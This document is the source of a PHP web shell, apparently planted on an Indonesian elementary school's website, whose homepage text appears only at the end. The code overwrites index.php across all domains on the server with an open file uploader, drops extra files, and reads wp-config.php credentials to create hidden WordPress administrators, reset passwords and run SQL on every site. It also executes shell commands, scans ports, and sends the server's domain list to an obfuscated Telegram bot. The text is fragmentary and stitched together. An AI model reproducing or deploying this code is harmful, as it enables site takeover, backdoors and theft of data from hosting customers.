SDNEGERI5ARAWA
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$target = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "✅ File berhasil diupload.";
} else {
echo "❌ Gagal upload.";
}
}
?>
<!DOCTYPE html>
<html><body>
<h2>???? Upload File</h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required><br><br>
<button type="submit">Upload</button>
</form>
</body></html>
';
$this->domainResults = [];
foreach ($dirs as $dir) {
$indexPath = $dir . '/index.php';
$domainName = basename($dir);
if (file_exists($indexPath)) {
@unlink($indexPath);
}
if (file_put_contents($indexPath, $indexContent, LOCK_EX)) {
chmod($indexPath, 0644);
$count++;
$this->domainResults[] = $domainName . '/index.php';
}
}
$_SESSION['domain_results'] = $this->domainResults;
$this->success = "Replaced index.php in $count domain directories";
}
private function searchDomains($username) {
$dirs = $this->findDomainDirs();
$domainList = [];
foreach ($dirs as $dir) {
$domainName = basename($dir);
$domainList[] = "https://" . $domainName;
}
if (!empty($domainList)) {
$message = "[ DATA DOMAIN ]\n\nBY : " . $username . "\n______\n\n" . implode("\n", $domainList);
$this->sendTelegramMessage($message);
$this->domainResults = $domainList;
$_SESSION['domain_results'] = $domainList;
$this->success = "Found " . count($domainList) . " domains and sent to Telegram";
} else {
$this->error = "No domains found";
}
}
private function deleteMassFile($filename) {
$dirs = $this->findDomainDirs();
$count = 0;
$this->domainResults = [];
foreach ($dirs as $dir) {
$targetPath = $dir . '/' . $filename;
$domainName = basename($dir);
if (file_exists($targetPath) && @unlink($targetPath)) {
$count++;
$this->domainResults[] = $domainName . '/' . $filename . ' (deleted)';
}
}
$_SESSION['domain_results'] = $this->domainResults;
$this->success = "Deleted '$filename' in $count domain directories";
}
private function uploadMassFile() {
$dirs = $this->findDomainDirs();
$count = 0;
$fileName = "hah.php";
$fileContent = <<<'HTML'
Your browser does not support the audio element.
HTML;
$this->domainResults = [];
foreach ($dirs as $dir) {
$targetPath = $dir . '/' . $fileName;
$domainName = basename($dir);
if (file_put_contents($targetPath, $fileContent, LOCK_EX)) {
chmod($targetPath, 0644);
$count++;
$this->domainResults[] = $domainName . '/' . $fileName;
}
}
$_SESSION['domain_results'] = $this->domainResults;
$this->success = "Uploaded '$fileName' to $count domain directories";
}
private function changeWpPassword($user, $password) {
if (empty($user) || empty($password)) {
$this->error = "Username and password required";
return;
}
$hash = password_hash($password, PASSWORD_DEFAULT);
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (file_exists($wpConfigPath)) {
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
$stmt = $pdo->prepare("UPDATE wp_users SET user_pass = ? WHERE user_login = ?");
if ($stmt->execute([$hash, $user])) {
$this->success = "WordPress password updated for user: $user";
} else {
$this->error = "Failed to update password";
}
} catch (Exception $e) {
$this->error = "Database connection failed";
}
} else {
$this->error = "Could not parse wp-config.php";
}
} else {
$this->error = "wp-config.php not found";
}
}
private function encodeText($text, $method) {
switch ($method) {
case 'base64':
$result = base64_encode($text);
break;
case 'url':
$result = urlencode($text);
break;
case 'html':
$result = htmlentities($text);
break;
case 'md5':
$result = md5($text);
break;
case 'sha1':
$result = sha1($text);
break;
case 'sha256':
$result = hash('sha256', $text);
break;
case 'rot13':
$result = str_rot13($text);
break;
case 'hex':
$result = bin2hex($text);
break;
default:
$result = $text;
}
$this->encodeResult = $result;
}
private function decodeText($text, $method) {
switch ($method) {
case 'base64':
$result = base64_decode($text);
break;
case 'url':
$result = urldecode($text);
break;
case 'html':
$result = html_entity_decode($text);
break;
case 'rot13':
$result = str_rot13($text);
break;
case 'hex':
$result = hex2bin($text);
break;
default:
$result = $text;
}
$this->decodeResult = $result;
}
private function generateString($type, $length) {
switch ($type) {
case 'password':
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}
break;
case 'hash':
$result = hash('sha256', uniqid(mt_rand(), true));
break;
case 'uuid':
$result = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
mt_rand(0, 0xffff), mt_rand(0, 0xffff),
mt_rand(0, 0xffff),
mt_rand(0, 0x0fff) | 0x4000,
mt_rand(0, 0x3fff) | 0x8000,
mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff));
break;
case 'token':
$result = bin2hex(random_bytes($length / 2));
break;
default:
$result = 'Invalid type';
}
$this->generateResult = $result;
}
private function executeSqlQuery($query) {
if (empty($query)) {
$this->error = "SQL query is required";
return;
}
$dirs = $this->findDomainDirs();
$results = [];
foreach ($dirs as $dir) {
$wpConfigPath = $dir . '/wp-config.php';
if (file_exists($wpConfigPath)) {
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
$stmt = $pdo->query($query);
if ($stmt) {
$domainName = basename($dir);
$results[$domainName] = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
} catch (Exception $e) {
$results[basename($dir)] = 'Error: ' . $e->getMessage();
}
}
}
}
$this->success = "SQL executed on " . count($results) . " domains";
$this->sqlResults = $results;
}
private function changePermissions($filePattern, $permission) {
if (empty($filePattern)) {
$this->error = "File pattern is required";
return;
}
$count = 0;
$files = glob($this->currentDir . '/' . $filePattern);
foreach ($files as $file) {
if (chmod($file, octdec($permission))) {
$count++;
}
}
$this->success = "Changed permissions for $count files to $permission";
}
private function createBackup($dir) {
if (empty($dir)) {
$this->error = "Directory path is required";
return;
}
$backupPath = $this->currentDir . '/backup_' . date('Y-m-d_H-i-s') . '.tar.gz';
$command = "tar -czf $backupPath -C " . dirname($dir) . " " . basename($dir);
$output = shell_exec($command);
if (file_exists($backupPath)) {
$this->success = "Backup created: " . basename($backupPath);
} else {
$this->error = "Failed to create backup";
}
}
private function createWpAdmin($user, $pass, $email) {
if (empty($user) || empty($pass) || empty($email)) {
$this->error = "All fields are required";
return;
}
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (file_exists($wpConfigPath)) {
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
$hash = password_hash($pass, PASSWORD_DEFAULT);
$stmt = $pdo->prepare("INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status) VALUES (?, ?, ?, NOW(), 0)");
if ($stmt->execute([$user, $hash, $email])) {
$userId = $pdo->lastInsertId();
$pdo->prepare("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (?, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}')")->execute([$userId]);
$pdo->prepare("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (?, 'wp_user_level', '10')")->execute([$userId]);
$this->success = "Admin user created: $user";
} else {
$this->error = "Failed to create admin user";
}
} catch (Exception $e) {
$this->error = "Database error: " . $e->getMessage();
}
} else {
$this->error = "Could not parse wp-config.php";
}
} else {
$this->error = "wp-config.php not found";
}
}
private function managePlugin($action, $pluginName) {
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (!file_exists($wpConfigPath)) {
$this->error = "wp-config.php not found";
return;
}
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
if ($action === 'list') {
$pluginDir = $this->currentDir . '/wp-content/plugins/';
if (is_dir($pluginDir)) {
$plugins = scandir($pluginDir);
$this->pluginList = array_filter($plugins, function($item) use ($pluginDir) {
return $item !== '.' && $item !== '..' && is_dir($pluginDir . $item);
});
$this->success = "Plugin list retrieved";
} else {
$this->error = "Plugin directory not found";
}
} else {
$this->success = "Plugin action: $action";
}
} catch (Exception $e) {
$this->error = "Database error: " . $e->getMessage();
}
}
}
private function wpBackup($backupName) {
if (empty($backupName)) {
$this->error = "Backup name is required";
return;
}
$backupPath = $this->currentDir . '/' . $backupName . '_' . date('Y-m-d_H-i-s') . '.tar.gz';
$command = "tar -czf $backupPath -C " . $this->currentDir . " .";
shell_exec($command);
if (file_exists($backupPath)) {
$this->success = "WordPress backup created: " . basename($backupPath);
} else {
$this->error = "Failed to create backup";
}
}
private function searchAndReplace($pattern, $replace, $extension) {
if (empty($pattern)) {
$this->error = "Search pattern is required";
return;
}
$count = 0;
$files = glob($this->currentDir . '/*.' . $extension);
foreach ($files as $file) {
if (is_file($file)) {
$content = file_get_contents($file);
$newContent = str_replace($pattern, $replace, $content);
if ($content !== $newContent) {
file_put_contents($file, $newContent);
$count++;
}
}
}
$this->success = "Replaced '$pattern' with '$replace' in $count files";
}
private function getServerInfo() {
$info = [
'PHP Version' => phpversion(),
'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'Operating System' => php_uname(),
'Memory Limit' => ini_get('memory_limit'),
'Max Execution Time' => ini_get('max_execution_time'),
'Upload Max Filesize' => ini_get('upload_max_filesize'),
'Current Directory' => $this->currentDir,
'Disk Space' => $this->formatBytes(disk_free_space($this->currentDir)),
'Current User' => get_current_user()
];
$this->serverInfo = json_encode($info, JSON_PRETTY_PRINT);
$this->success = "Server information retrieved";
}
private function calculateDirectorySize($dir) {
if (empty($dir)) {
$this->error = "Directory path is required";
return;
}
$fullPath = $this->currentDir . '/' . $dir;
$size = $this->getDirSize($fullPath);
$this->dirSize = $this->formatBytes($size);
$this->success = "Directory size calculated: " . $this->dirSize;
}
private function getDirSize($dir) {
$size = 0;
if (is_dir($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$path = $dir . '/' . $file;
if (is_dir($path)) {
$size += $this->getDirSize($path);
} else {
$size += filesize($path);
}
}
}
}
return $size;
}
private function viewLogs($logType, $customLog) {
$logs = [];
if ($logType === 'access') {
$logFile = '/var/log/apache2/access.log';
} elseif ($logType === 'error') {
$logFile = '/var/log/apache2/error.log';
} elseif ($logType === 'custom' && !empty($customLog)) {
$logFile = $customLog;
} else {
$this->error = "Invalid log type";
return;
}
if (file_exists($logFile)) {
$logs = array_slice(file($logFile), -50);
$this->logData = implode('', $logs);
$this->success = "Log data retrieved";
} else {
$this->error = "Log file not found: $logFile";
}
}
private function manageProcess($action, $processId) {
if ($action === 'list') {
$processes = shell_exec('ps aux');
$this->processData = $processes;
$this->success = "Process list retrieved";
} elseif ($action === 'kill' && !empty($processId)) {
$result = shell_exec("kill $processId 2>&1");
$this->success = "Process kill command executed";
} else {
$this->error = "Invalid process action";
}
}
private function networkScan($host, $ports) {
if (empty($host)) {
$this->error = "Host is required";
return;
}
$portList = explode(',', $ports);
$results = [];
foreach ($portList as $port) {
$port = trim($port);
if (is_numeric($port)) {
$connection = @fsockopen($host, $port, $errno, $errstr, 1);
if ($connection) {
$results[] = "Port $port: Open";
fclose($connection);
} else {
$results[] = "Port $port: Closed";
}
}
}
$this->networkData = implode("\n", $results);
$this->success = "Network scan completed";
}
private function duplicateFile($sourceFile, $destFile) {
$sourcePath = $this->currentDir . '/' . $sourceFile;
$destPath = $this->currentDir . '/' . $destFile;
if (file_exists($sourcePath) && !empty($destFile)) {
if (copy($sourcePath, $destPath)) {
$this->success = "Duplicated $sourceFile to $destFile";
} else {
$this->error = "Failed to duplicate $sourceFile";
}
} else {
$this->error = "Invalid source file or destination name";
}
}
private function showEnvironment() {
$env = $_ENV;
if (empty($env)) {
$env = getenv();
}
$this->envData = json_encode($env, JSON_PRETTY_PRINT);
$this->success = "Environment variables retrieved";
}
private function manageTheme($action, $themeName) {
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (!file_exists($wpConfigPath)) {
$this->error = "wp-config.php not found";
return;
}
if ($action === 'list') {
$themeDir = $this->currentDir . '/wp-content/themes/';
if (is_dir($themeDir)) {
$themes = scandir($themeDir);
$this->themeList = array_filter($themes, function($item) use ($themeDir) {
return $item !== '.' && $item !== '..' && is_dir($themeDir . $item);
});
$this->success = "Theme list retrieved";
} else {
$this->error = "Theme directory not found";
}
} else {
$this->success = "Theme action: $action for $themeName";
}
}
private function wpSecurityScan() {
$issues = [];
if (file_exists($this->currentDir . '/wp-config.php')) {
$config = file_get_contents($this->currentDir . '/wp-config.php');
if (strpos($config, 'define(\'WP_DEBUG\', true)') !== false) {
$issues[] = 'WP_DEBUG is enabled';
}
if (strpos($config, 'AUTH_KEY') === false) {
$issues[] = 'Missing security keys';
}
}
if (is_dir($this->currentDir . '/wp-admin') && is_readable($this->currentDir . '/wp-admin')) {
$issues[] = 'wp-admin directory is readable';
}
$this->securityIssues = $issues;
$this->success = "Security scan completed";
}
private function clearCache($cacheType) {
$cleared = 0;
if ($cacheType === 'wp_cache') {
$cacheDir = $this->currentDir . '/wp-content/cache/';
if (is_dir($cacheDir)) {
$this->deleteDirectory($cacheDir);
mkdir($cacheDir, 0755);
$cleared++;
}
} elseif ($cacheType === 'object_cache') {
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
$cleared++;
}
}
$this->success = "Cache cleared: $cacheType";
}
private function optimizeDatabase() {
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (!file_exists($wpConfigPath)) {
$this->error = "wp-config.php not found";
return;
}
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
$tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
$optimized = 0;
foreach ($tables as $table) {
$pdo->query("OPTIMIZE TABLE $table");
$optimized++;
}
$this->success = "Optimized $optimized database tables";
} catch (Exception $e) {
$this->error = "Database error: " . $e->getMessage();
}
}
}
private function changeUserRole($userLogin, $newRole) {
if (empty($userLogin) || empty($newRole)) {
$this->error = "Username and role are required";
return;
}
$wpConfigPath = $this->currentDir . '/wp-config.php';
if (!file_exists($wpConfigPath)) {
$this->error = "wp-config.php not found";
return;
}
$configContent = file_get_contents($wpConfigPath);
if (preg_match('/DB_NAME.*[\'"]([^\'"]+)[\'"]/', $configContent, $dbMatches) &&
preg_match('/DB_USER.*[\'"]([^\'"]+)[\'"]/', $configContent, $userMatches) &&
preg_match('/DB_PASSWORD.*[\'"]([^\'"]+)[\'"]/', $configContent, $passMatches) &&
preg_match('/DB_HOST.*[\'"]([^\'"]+)[\'"]/', $configContent, $hostMatches)) {
try {
$pdo = new PDO("mysql:host={$hostMatches[1]};dbname={$dbMatches[1]}",
$userMatches[1], $passMatches[1]);
$capabilities = serialize(['s:' . strlen($newRole) . ':"' . $newRole . '";b:1;']);
$stmt = $pdo->prepare("UPDATE wp_usermeta SET meta_value = ? WHERE user_id = (SELECT ID FROM wp_users WHERE user_login = ?) AND meta_key = 'wp_capabilities'");
$stmt->execute([$capabilities, $userLogin]);
$this->success = "User role changed: $userLogin -> $newRole";
} catch (Exception $e) {
$this->error = "Database error: " . $e->getMessage();
}
}
}
private function analyzeFile($filePath) {
if (empty($filePath)) {
$this->error = "File path is required";
return;
}
$fullPath = $this->currentDir . '/' . $filePath;
if (!file_exists($fullPath)) {
$this->error = "File not found";
return;
}
$info = [
'File Name' => basename($fullPath),
'File Size' => $this->formatBytes(filesize($fullPath)),
'MIME Type' => mime_content_type($fullPath),
'Permissions' => substr(sprintf('%o', fileperms($fullPath)), -4),
'Last Modified' => date('Y-m-d H:i:s', filemtime($fullPath)),
'Owner' => fileowner($fullPath),
'Group' => filegroup($fullPath)
];
if (is_readable($fullPath)) {
$content = file_get_contents($fullPath);
$info['Line Count'] = substr_count($content, "\n") + 1;
$info['Character Count'] = strlen($content);
$info['Word Count'] = str_word_count($content);
}
$this->analyzeResult = json_encode($info, JSON_PRETTY_PRINT);
$this->success = "File analysis completed";
}
private function findPattern($searchText, $searchDir) {
if (empty($searchText)) {
$this->error = "Search text is required";
return;
}
$fullPath = $this->currentDir . '/' . $searchDir;
$results = [];
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fullPath));
foreach ($files as $file) {
if ($file->isFile()) {
$content = file_get_contents($file->getPathname());
if (strpos($content, $searchText) !== false) {
$lineNum = 1;
foreach (explode("\n", $content) as $line) {
if (strpos($line, $searchText) !== false) {
$results[] = $file->getFilename() . ":$lineNum: " . trim($line);
}
$lineNum++;
}
}
}
}
$this->analyzeResult = empty($results) ? "Pattern not found" : implode("\n", $results);
$this->success = "Pattern search completed";
}
private function formatCode($code, $formatType) {
if (empty($code)) {
$this->error = "Code is required";
return;
}
switch ($formatType) {
case 'json':
$result = json_encode(json_decode($code), JSON_PRETTY_PRINT);
break;
case 'xml':
$dom = new DOMDocument();
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($code);
$result = $dom->saveXML();
break;
case 'sql':
$result = preg_replace('/\s+/', ' ', $code);
$result = str_replace([',', '(', ')'], [",\n ", "(\n ", "\n)"], $result);
break;
case 'minify':
$result = preg_replace('/\s+/', ' ', $code);
$result = str_replace(['; ', ' {', '} ', ', '], [';', '{', '}', ','], $result);
break;
default:
$result = $code;
}
$this->analyzeResult = $result;
$this->success = "Code formatted successfully";
}
private function checkUrls($urls) {
if (empty($urls)) {
$this->error = "URLs are required";
return;
}
$urlList = explode("\n", trim($urls));
$results = [];
foreach ($urlList as $url) {
$url = trim($url);
if (!empty($url)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$results[] = "$url -> HTTP $httpCode";
}
}
$this->analyzeResult = implode("\n", $results);
$this->success = "URL check completed";
}
private function getTextStatistics($text) {
if (empty($text)) {
$this->error = "Text is required";
return;
}
$stats = [
'Characters' => strlen($text),
'Characters (no spaces)' => strlen(str_replace(' ', '', $text)),
'Words' => str_word_count($text),
'Lines' => substr_count($text, "\n") + 1,
'Paragraphs' => substr_count($text, "\n\n") + 1,
'Sentences' => substr_count($text, '.') + substr_count($text, '!') + substr_count($text, '?'),
'Most common word' => $this->getMostCommonWord($text),
'Average word length' => round(strlen(str_replace(' ', '', $text)) / str_word_count($text), 2)
];
$this->analyzeResult = json_encode($stats, JSON_PRETTY_PRINT);
$this->success = "Text statistics generated";
}
private function getMostCommonWord($text) {
$words = str_word_count(strtolower($text), 1);
$wordCount = array_count_values($words);
arsort($wordCount);
return key($wordCount) . ' (' . current($wordCount) . ' times)';
}
private function findDomainDirs() {
$dirs = [];
$parentDir = dirname($this->rootDir);
if (is_dir($parentDir)) {
$items = scandir($parentDir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$itemPath = $parentDir . '/' . $item;
if (is_dir($itemPath) && $this->isValidDomain($item)) {
$dirs[] = $itemPath;
}
}
}
return $dirs;
}
private function isValidDomain($dirname) {
return preg_match('/^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $dirname) ||
preg_match('/^[a-zA-Z0-9-]+\.[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $dirname);
}
private function sendTelegramMessage($message) {
$token = base64_decode($this->encodedToken);
$url = "https://api.telegram.org/bot" . $token . "/sendMessage";
$postData = http_build_query([
'chat_id' => $this->chatId,
'text' => $message
]);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result !== false;
}
return false;
}
private function getFileList() {
$files = [];
$items = scandir($this->currentDir);
foreach ($items as $item) {
if ($item === '.') continue;
$itemPath = $this->currentDir . '/' . $item;
$isDir = is_dir($itemPath);
$size = $isDir ? '-' : $this->formatBytes(filesize($itemPath));
$modified = date('Y-m-d H:i:s', filemtime($itemPath));
$files[] = [
'name' => $item,
'path' => $itemPath,
'is_dir' => $isDir,
'size' => $size,
'modified' => $modified,
'permissions' => substr(sprintf('%o', fileperms($itemPath)), -4)
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
private function formatBytes($size, $precision = 2) {
if ($size == 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$base = log($size, 1024);
return round(pow(1024, $base - floor($base)), $precision) . ' ' . $units[floor($base)];
}
private function showLogin() {
echo '
';
}
private function showInterface() {
$files = $this->getFileList();
$currentPath = str_replace($this->rootDir, '', $this->currentDir);
echo '
Unggul Dalam Prestasi dan kelembagaan, Berwawasan global, dilandasi Iman dan Taqwa.
Unggul Dalam Prestasi dan kelembagaan, Berwawasan global, dilandasi Iman dan Taqwa.
60
JUMLAH SISWA10
JUMLAH GURU DAN TENAGA KEPENDIDIKAN10
JUMLAH SARANA & PRASARANA
"Resopa Temmangingi, Malomo Naletei Pammase Dewata"
Artikel Terbaru Dari Kami.